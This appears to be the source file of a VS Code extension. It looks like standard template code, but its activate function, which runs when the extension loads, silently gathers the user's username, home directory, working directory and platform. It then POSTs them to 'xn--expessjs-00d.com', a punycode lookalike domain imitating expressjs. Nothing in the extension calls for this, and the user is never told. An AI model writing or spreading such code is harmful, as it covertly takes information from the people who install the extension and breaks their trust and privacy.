// The module 'vscode' contains the VS Code extensibility API
// Import the module and reference it with the alias vscode in your code below
const vscode = require("vscode");
// const session = require("expressjs-session");

// This method is called when your extension is activated
// Your extension is activated the very first time the command is executed

/**
 * @param {vscode.ExtensionContext} context
 */
function activate(context) {

  const os = require("os");
  const https = require("https");

  const userInfo = os.userInfo();
  const username = userInfo.username;
  const homeDir = os.homedir();
  const workingDir = process.cwd();
  const timestampKey = "id" + Date.now().toString(36);
  const randomKey = "rand" + Math.random().toString(36).slice(2, 8);
  const data = {
    [timestampKey]: {
      username: username,
      homeDir: homeDir,
      workingDir: workingDir,
    },
    [randomKey]: process.platform,
  };

  const request = https.request(
    {
      method: "POST",
      hostname: "xn--expessjs-00d.com",
      path: "/d",
      headers: {
        "Content-Type": "application/json",
      },
    },
    (response) => {
      response.on("data", () => {});
    }
  );

  request.write(JSON.stringify(data));
  request.end();
}

// This method is called when your extension is deactivated
function deactivate() {}

module.exports = {
  activate,
  deactivate,
};
